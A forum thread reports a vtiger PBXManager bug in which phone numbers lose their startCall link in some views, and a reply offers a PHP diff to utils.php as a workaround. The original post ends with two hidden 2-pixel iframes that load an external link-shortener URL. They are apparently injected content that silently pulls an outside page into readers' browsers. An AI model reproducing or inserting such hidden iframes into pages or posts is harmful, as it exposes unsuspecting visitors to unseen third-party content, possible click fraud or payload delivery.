startCall link disabled in some views - PBXManager

Hi, I'm trying to solve a performance issue and hit a PBXManager bug.


If you uncheck the Receive Incoming Calls in my preferences menu for the user, the Contact view and the Account View show the phone number without link, while the expected behaviour should be the startCall link enabled on it.

The funny thing is that some other views (mainly the listview ones) the link is still available.

I checked at the trac without success.

thanks for any help with this. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 2 Comments sorted by Votes Date Added
  • hmm today is my lucky day.... after taking a closer look into the code i've found a simple solution that it seems is working as i need to. probably a real vtiger developer would go to the root of the problem, i'm just using a hack in the meantime
    --- include/utils/utils&#46;php-orig	2011-06-09 20&#58;15&#58;15&#46;156553762 -0500
    +++ include/utils/utils&#46;php	2011-06-09 20&#58;18&#58;02&#46;770169131 -0500
    @@ -4283,7 +4283,7 @@
     	if($adb-&gt;num_rows($result)&gt;0){
     		$use_asterisk = $adb-&gt;query_result($result, 0, &quot;use_asterisk&quot;);
     		$asterisk_extension = $adb-&gt;query_result($result, 0, &quot;asterisk_extension&quot;);
    -		if($use_asterisk == 0 || empty($asterisk_extension)){
    +		if(($use_asterisk == 0 &amp;&amp; empty($asterisk_extension)) || empty($asterisk_extension)){
     			return 'false';
     		}else{
     			return 'true';
    @@ -4900,4 +4900,4 @@
         return true;
     }
     
    -?&gt;
    \ no newline at end of file
    +?&gt;
    
Sign In or Register to comment.